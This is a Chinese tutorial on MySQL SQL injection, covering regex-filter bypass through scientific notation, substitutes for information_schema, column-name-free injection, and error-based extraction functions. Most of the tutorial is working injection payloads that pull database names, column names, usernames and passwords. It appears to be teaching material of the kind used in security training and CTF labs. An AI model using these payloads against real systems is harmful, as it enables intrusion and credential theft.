SQL注入绕过正则及无列名注入

渗透测试

  • 一、select\b[\s\S]*\bfrom正则
  • 二、科学计数法绕过
  • 三、过滤information
  • 四、无列名注入
    • 1、利用 join-using 注列名。
    • 2、无列名查询
  • 五、报错注入7大常用函数
    • 1.ST_LatFromGeoHash()(mysql>=5.7.x)
      • payload
    • 2.ST_LongFromGeoHash(mysql>=5.7.x)
      • payload
    • 3.GTID (MySQL >= 5.6.X - 显错<=200)
      • 3.1 0x01 GTID
      • 3.2 GTID_SUBSET() 和 GTID_SUBTRACT()函数
      • 3.3 0X02 函数详解
      • 3.4 0x03 注入过程( payload )
    • 4.floor(8.x>mysql>5.0)
      • 4.1 获取数据库版本信息
      • 4.2 获取当前数据库
      • 4.3 获取表数据
      • 4.4 获取users表里的段名
    • 5.ST_Pointfromgeohash (mysql>=5.7)
      • 5.1 获取数据库版本信息
      • 5.2 获取表数据
      • 5.3 获取users表里的段名
      • 5.4 获取字段里面的数据
    • 6 updatexml
    • 7 extractvalue

一、select\b[\s\S]*\bfrom正则

在这里插入图片描述
如果我们继续按照上次的思路去注入是肯定不行的:
在这里插入图片描述
下面我们去这个网站:https://regex101.com/
我们现在来看下这条语句:

select\b[\s\S]*\bfrom

在这里插入图片描述
这里我们可以看到,前面以及后面的\b时匹配单词的边界,\s\S是匹配**的所有字符,所以就把下面我们这条语句匹配上了。
在这里插入图片描述
所以说我们下面必须绕过这个正则表达式才可以查,下面我们可以看下匹配过程,第一步先匹配s,然后到select结束到小圆点我们可以看到\b匹配到了,然后到\s\S一下全部匹配上了,因为它匹配的是所有,继续匹配那么就得回溯了,往回走,继续匹配到小圆点也就是\b,然后继续匹配,到from之前开始正向匹配就把from匹配到了。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
所以说现在假如说我们可以让他不是from,问题在于没有函数可以使用,比如下面这几个都是报错的:
在这里插入图片描述
现在我们想的是既要绕过正则,又要把数据查出来,现在我们的办法是如果有个字符可以加在from前面,而且加不加它的效果一样,不影响我们进行查询就行。

二、科学计数法绕过

其实我们这里可以使用科学计数法:
我们这里首先正常查:
在这里插入图片描述
我们在from前面放1e1前面:
在这里插入图片描述
很明显这样是不行的,下面我们与之前我们学到的利用下,并在1e1之前加个,我们再来看下:

select group_concat(username,0x3a,password),1e1from users;

在这里插入图片描述
这里我们可以看到,很明显,查出数据了;这是为什么呢?
在这里插入图片描述
不加又不行,这里我们来看输出:
在这里插入图片描述
我们可以看到后面有一列1e1,然后下面是10,这个是对的,本来就是10,所以我们使用这样去查,就相当于给users多出来了一列,就是1e1,正常连肯定不行,但是我们是科学技术法:
在这里插入图片描述
也就是说我们通过这样的方式去查,也就是给users多出来了一列,这一列的值是10。所以这时我们发现如何绕过了,下面我们就谈论如何去查。
这里我们通过这三种去尝试:

 select * 1e1from users;
select username,1e1from users;
select username,password,1e1from users;

在这里插入图片描述
可以看到第一种星号肯定是不行的,所以我们查到肯定是后面加了一列,这里我们就得考虑怎么去写:
初步我们肯定是想直接union然后输入也就是下面:

?id=-1' union select 1,concat(username,0x3a,password),3,4,1e1from users--+

在这里插入图片描述
这是因为列数不对,前面是4列,后面是3列,所以我们需要改下列数:

?id=-1' union select 1,concat(username,0x3a,password),1e1from users--+

在这里插入图片描述
这样,我们就完成了绕过并查到。
这里绕过我们必须熟悉正则表达式以及科学计数法绕过。

三、过滤information

在这里插入图片描述
这个一限制,我们的很多表就不能用了,这又该怎么办,如果我们使用科学计数法绕过肯定是不行的,因为information肯定是必须的使用的。
上面我们使用科学计数法绕过,那是因为我们没有查information库而直接知道那个表查的。所以我们必须找到一个库来取代information,那么我们就绕过了。

mysql 中的 information_schema 这个库 就像时MYSQL的信息数据库,他保存着mysql 服务器所维护的所有其他的数据库信息, 包括了 库名,表名,列名。在注入时,information_schema库的作用就是获取 table_schema table_name, column_name。

查询表的统计信息,其中还包括Innodb缓冲池统计信息,默认情况下按照增删改查操作的总表I/O延迟时间(执行时间)降序排序

sys.x$schema_table_statistics_with_buffer
sys.x$schema_table_statistics
sys.x$ps_schema_table_statistics_io

但是 sys.schema_auto_increment_columns 这个库有点局限 需要root 才能访问。

类似的,可以利用的表还有 :

mysql.innodb_table_statsmysql.innodb_table_index同样存放有库名表名

总结一下:

sys.schema_auto_increment_columns 
sys.schema_table_statistics_with_buffer
mysql.innodb_table_stats
mysql.innodb_table_index
均可代替 information_schema

我们下面来看下这个表:

sys.x$schema_table_statistics_with_buffer

在这里插入图片描述
我们可以看到这里面有很多字段,这里面有数据库名称、表名等等。
以及下面这个表:

sys.x$schema_table_statistics

在这里插入图片描述
这里我们也是可以看到数据库以及表名。
在这里插入图片描述
下面我们来看这个sys.x$ps_schema_table_statistics_io表:
在这里插入图片描述
但是上面几个表必须要root,一般肯定是没有root的,所以,sys的表一般都用不了,这里我们经常用的表是下面两个:

mysql.innodb_table_stats
mysql.innodb_table_index

所以,这里我们可以这样注入:

?id=-1' union select 1,concat(table_name),3,4 from mysql.innodb_table_stats--+

在这里插入图片描述
在这里插入图片描述

这个有一个缺陷,就是我们只能拿到表名,这个表里面没有列名,只有数据库以及表名,我们肯定是必须要知道列名才能注入,下面就涉及到了无列名注入。

四、无列名注入

1、利用 join-using 注列名。

通过系统关键字 join 可建立两表之间的内连接,通过对想要查询列名所在的表与其自身

爆表名
?id=-1' union select 1,2,group_concat(table_name)from sys.schema_auto_increment_columns where table_schema=database()--+
?id=-1' union select 1,2,group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema=database()--+爆字段名
获取第一列的字段名及后面每一列字段名
?id=-1' union select * from (select * from users as a join users as b)as c--+
?id=-1' union select * from (select * from users as a join users b using(id,username))c--+
?id=-1' union select * from (select * from users as a join users b using(id,username,password))c--+
数据库中as作用是起别名,as是可以省略的,为了增加可读性,建议不省略。

在这里插入图片描述
这里我们可以看到已经显示了一个列名,下面我们来一起看下这句话:

?id=-1' union select * from (select * from users as a join users as b)as c--+
select * from(select * from users as a join users)

首先我们可以看到它使用了联合查询以及子查询,子查询使用了连接,连接了它自己,两张相同的结果赋值给c,但是连接两张相同的表会导致字段重复,所以就可以帮助我们显示在屏幕上。所以我们此时把id拿出来。

?id=-1' union select * from (select * from users as a join users as b using (id))as c--+

在这里插入图片描述
我们这里以id去连接,可以看到显示username重复,然后我们以id,username去连接:

?id=-1' union select * from (select * from users as a join users as b using (id,username))as c--+

在这里插入图片描述
这里我们就可以看到显示password重复,我们这下以id,username,password去连接:

?id=-1' union select * from (select * from users as a join users as b using (id,username,password))as c--+

在这里插入图片描述
好,这里我们就可以知道三个字段取出来了,id,username,password取出来了,列已经取出来了,我们直接正常查:

?id=-1' union select 1,concat(username,0x3a,password),3 from  users--+

在这里插入图片描述
总结,使用mysql.innodb_table_stats mysql.innodb_table_index只能查出数据库名,表名,查不出列名,下面我们去查列名,使用连接的特性,然后进行一个一个取列名,找出所有的列名,最后我们直接进行查询。
当然,实际上有一种方法,原理在于select 1,2,3,4,5 union select * from users;这里我们就不用知道列名。

2、无列名查询

无列名注入关键就是要猜测表里有多少个列,要一一对应上,上面例子是有5个列
1,2,3,4,5 的作用就是对列起别名,替换为后面无列名注入做准备。

接着就可以使用数字来对应列进行查询,如3对应了表里面的password。

select `3` from (select 1,2,3,4,5 union select * from users)as a;
?id=-1' union select `3` from (select 1,2,3 union select * from users)as a;

在这里插入图片描述

select * from users

就相当于select pass from (select 1,2,3,4,5 union select * from users)as a;
当然,这里用户名在第二行也一样的:

select `2` from (select 1,2,3 union select * from users)as a;

这个语句就是先进行联合查询,然后给查询结果存储在别名为a的表里面。
在这里插入图片描述
在这里插入图片描述

SQL 中反引号是可以代表数据库名和列名的
(select 1,2,3,4,5 union select * from users)as a 把括号里的查询数据重命名一张新的表 a,在从中查询。
当反引号被禁用时,就可以使用起别名的方法来代替

select b from (select 1,2, 3 as b ,4,5 union select * from users)as a;

这里我们只有三列,所以:

select b from (select 1,2, 3 as b union select * from users)as a;

在这里插入图片描述
在注入时同时查询多个列

select group_concat(b,c) from (select 1,2, 3 as b , 4 as c ,5 union select * from users)as a;

绕过空格::直接注释
在这里插入图片描述
过滤and: 使用&&绕过
过滤#: 使用闭合’1’='1

五、报错注入7大常用函数

1.ST_LatFromGeoHash()(mysql>=5.7.x)

payload

and ST_LatFromGeoHash(concat(0x7e,(select user()),0x7e))--+

2.ST_LongFromGeoHash(mysql>=5.7.x)

payload

#同 8 ,都使用了嵌套查询

and ST_LongFromGeoHash(concat(0x7e,(select user()),0x7e))--+

3.GTID (MySQL >= 5.6.X - 显错<=200)

3.1 0x01 GTID

GTID是MySQL数据库每次提交事务后生成的一个全局事务标识符,GTID不仅在本服务器上是唯一的,其在复制拓扑中也是唯一的

3.2 GTID_SUBSET() 和 GTID_SUBTRACT()函数

3.3 0X02 函数详解

GTID_SUBSET() 和 GTID_SUBTRACT() 函数,我们知道他的输入值是 GTIDset ,当输入有误时,就会报错。

GTID_SUBSET( set1 , set2 ) - 若在 set1 中的 GTID,也在 set2 中,返回 true,否则返回 false ( set1 是 set2 的子集)
GTID_SUBTRACT( set1 , set2 ) - 返回在 set1 中,不在 set2 中的 GTID 集合 ( set1 与 set2 的差集)

3.4 0x03 注入过程( payload )

GTID_SUBSET函数
') or gtid_subset(concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e),1)--+
GTID_SUBTRACT
') or gtid_subtract(concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e),1)--+

函数都是那样,只是适用的版本不同

4.floor(8.x>mysql>5.0)

4.1 获取数据库版本信息

')or (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

4.2 获取当前数据库

')or (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

4.3 获取表数据

')or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema='test' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

4.4 获取users表里的段名

')or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name = 'users' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

5.ST_Pointfromgeohash (mysql>=5.7)

5.1 获取数据库版本信息

')or ST_PointFromGeoHash(version(),1)--+

5.2 获取表数据

')or ST_PointFromGeoHash((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)--+

5.3 获取users表里的段名

')or ST_PointFromGeoHash((select column_name from information_schema.columns where table_name = 'manage' limit 0,1),1)--+

5.4 获取字段里面的数据

')or  ST_PointFromGeoHash((concat(0x23,(select group_concat(user,':',`password`) from manage),0x23)),1)--+

6 updatexml

updatexml(1,1,1) 一共可以接收三个参数,报错位置在第二个参数

7 extractvalue

extractvalue(1,1) 一共可以接收两个参数,报错位置在第二个参数

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/220823.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

针对这两个趋势,3.0全新新零售商业模式可以采取以下策略:

国内市场确实存在“消费升级”和“消费降级”两个趋势&#xff0c;这是由于不同消费者群体的需求和购买力存在差异。消费升级主要发生在高端市场&#xff0c;消费者愿意为高品质、高价值、高价格的商品和服务付出更多。而消费降级则主要发生在中低端市场&#xff0c;消费者更加…

学习k8s

学习k8s 我为什么要用k8s 和其他部署方式的区别是什么? 传统部署方式 java --> package --> 放到服务器上 --> Tomcat 如果是同时进行写操作,会存在并发问题. 用户 --网络带宽–> 服务器 -->服务 同一个服务器上,多个服务: 网络资源的占用 内存的占用 cpu的占…

《点云处理》 点云去噪

前言 通常从传感器&#xff08;3D相机、雷达&#xff09;中获取到的点云存在噪点&#xff08;杂点、离群点、孤岛点等各种叫法&#xff09;。噪点产生的原因有不同&#xff0c;可能是扫描到了不想要扫描的物体&#xff0c;可能是待测工件表面反光形成的&#xff0c;也可能是相…

c# OpenCV 基本绘画(直线、椭圆、矩形、圆、多边形、文本)(四)

我们将在这里演示如何使用几何形状和文本注释图像。 Cv2.Line() 绘制直线 Cv2.Ellipse() 绘制椭圆Cv2.Rectangle() 绘制矩形Cv2.Circle() 绘制圆Cv2.FillPoly() 绘制多边形Cv2.PutText() 绘制文本 一、绘制直线 Cv2.Line(image, start_point, end_point, color, thickness) …

IntelliJ IDE 插件开发 | (三)消息通知与事件监听

系列文章 IntelliJ IDE 插件开发 |&#xff08;一&#xff09;快速入门IntelliJ IDE 插件开发 |&#xff08;二&#xff09;UI 界面与数据持久化IntelliJ IDE 插件开发 |&#xff08;三&#xff09;消息通知与事件监听 前言 在前两篇文章中讲解了关于插件开发的基础知识&…

C语言:前缀和

【模板】前缀和_牛客题霸_牛客网 (nowcoder.com) 前缀和&#xff1a;将数组小于该前缀的数加起来的新数组。 例&#xff1a; 该数组为1&#xff0c;2&#xff0c;3&#xff0c;4&#xff0c;5。前缀和为1&#xff0c;3&#xff0c;6&#xff0c;10&#xff0c;15 。 如果要求…

1-完全理解以太坊智能合约

了解区块链 区块链技术的核心概念是分布式账本&#xff0c;它是许多参与者共享的特定类型的数据库。 这个特殊的数据库只是一个交易列表&#xff0c;记录着网络中发生的每笔交易。每个人都可以拥有自己的交易列表备份&#xff0c;再加上强有力的货币激励措施消除各方之间信任…

比 style gan 更好的 style gan2

上一篇博客介绍了style gan 原理&#xff0c;但是 style gan 的结果会有水珠伪影&#xff0c;作者实验后发现是 Adain 导致的&#xff0c;AdaIN对每一个feature map的通道进行归一化&#xff0c;这样可能破坏掉feature之间的信息。当然实验证明发现&#xff0c;去除AdaIN的归一…

广州华锐互动VRAR:利用VR开展新能源汽车触电安全演练,降低培训成本和风险

随着新能源汽车行业的快速发展&#xff0c;相关的安全培训也变得越来越重要。其中&#xff0c;触电急救培训对于保障驾驶员和乘客的安全具有重要意义。传统培训方式存在一些不足&#xff0c;而利用VR技术进行培训则具有很多优势。 利用VR技术开展新能源汽车触电安全演练可以在模…

2023 英特尔On技术创新大会直播 | 窥探未来科技的边界

2023 英特尔On技术创新大会直播 | 窥探未来科技的边界 写在最前面观后感其他有趣的专题课程 写在最前面 嘿&#xff0c;你是不是对科技和创新充满好奇&#xff1f;2023 英特尔 On 技术创新大会线上活动邀请你一起探索最前沿的科技世界&#xff01; 这不仅是一场普通的聚会&…

AWS Linux安装桌面并远程访问

文章目录 小结问题及解决参考 小结 在AWS Linux安装了桌面并进行远程访问。 问题及解决 需要使用过程桌面访问AWS Linux&#xff0c;这里在AWS服务器安装并使用Amazon Linux 2 MATE desktop。 检查OS版本&#xff1a; [ec2-userip-10-0-3-241 ~]$ grep PRETTY_NAME /etc/o…

WordCloud—— 词云

【说明】文章内容来自《机器学习入门——基于sklearn》&#xff0c;用于学习记录。若有争议联系删除。 wordcloud 是python的第三方库&#xff0c;称为词云&#xff0c;也成文字云&#xff0c;可以根据文本中的词频以直观和艺术化的形式展示文本中词语的重要性。 依赖于pillow …

Windows本地搭建开源企业管理套件Odoo并实现公网访问

文章目录 前言1. 下载安装Odoo&#xff1a;2. 实现公网访问Odoo本地系统&#xff1a;3. 固定域名访问Odoo本地系统 前言 Odoo是全球流行的开源企业管理套件&#xff0c;是一个一站式全功能ERP及电商平台。 开源性质&#xff1a;Odoo是一个开源的ERP软件&#xff0c;这意味着企…

零刻EQ12 N100 2.5G双网口 All In One新手教程

零刻EQ12 N100 2.5G双网口 All In One新手教程 前言1.硬件配置2.准备工作2.1. ESXI8.0U2镜像2.2. Rufus磁盘工具下载2.3. ikuai镜像下载2.4. StarWindConverter虚拟磁盘格式转换工具下载2.5. OpenWrt镜像下载2.6. 黑群晖RR引导镜像下载(DSM7.2)2.7. 需要准备的硬件2.8. 格式化需…

《每天一分钟学习C语言·二》

1、当使用const关键字变量就无法修改可当常量来用。常量指针不能通过指针来改变变量的值&#xff0c;但可以通过其他引用来改变变量的值常量指针也可以指向其他变量地址&#xff0c;如 int a5,b6; const int *pt &a; *pt6; //错误 a6; //正确 pt&b; //正确指针常量指…

Databend 开源周报第 124 期

Databend 是一款现代云数仓。专为弹性和高效设计&#xff0c;为您的大规模分析需求保驾护航。自由且开源。即刻体验云服务&#xff1a;https://app.databend.cn 。 Whats On In Databend 探索 Databend 本周新进展&#xff0c;遇到更贴近你心意的 Databend 。 新增对 Delta 和…

使用下载代替物理串口输出-STM32 Debug (printf) Viewer

使用下载代替物理串口输出-STM32 Debug 硬件要求配置方法代码要求打印输出结果 硬件要求 STM32的PB9、PB10引脚的串口1通常用作其他功能使用后&#xff0c;无法通过printf()函数打印输出想要调试输出查看变量或调试信息。现已使用另外一种方法实现printf()函数打印输出。 ST…

R语言采集获取58商铺出租转让信息

前两篇文章给我一个朋友分析出店铺商品以及地址房源信息&#xff0c;后来去看了下店铺房租有点贵&#xff0c;还是毛坯房&#xff0c;要自己装修&#xff0c;本着节约成本的原则。熬了个通宵&#xff0c;给他采集了一些转租商铺数据&#xff0c;因为数据比较多&#xff0c;过于…

virtualbox 虚拟机ubuntu22 识别不了CH340串口

首先启用USB设备&#xff0c;CH340识别为QinHengXXXXX USB Serial. 设置以后发现还是无法识别到/dev/ttyUSB0&#xff0c;但是cp2102按照相同的设置能够正确识别到&#xff0c;查看tty系统日志 sudo dmesg | grep tty 发现串口被brltty占用了 将其卸载试试 sudo apt remove …

Pytorch深度强化学习案例:基于Q-Learning的机器人走迷宫

目录 0 专栏介绍1 Q-Learning算法原理2 强化学习基本框架3 机器人走迷宫算法3.1 迷宫环境3.2 状态、动作和奖励3.3 Q-Learning算法实现3.4 完成训练 4 算法分析4.1 Q-Table4.2 奖励曲线 0 专栏介绍 本专栏重点介绍强化学习技术的数学原理&#xff0c;并且采用Pytorch框架对常见…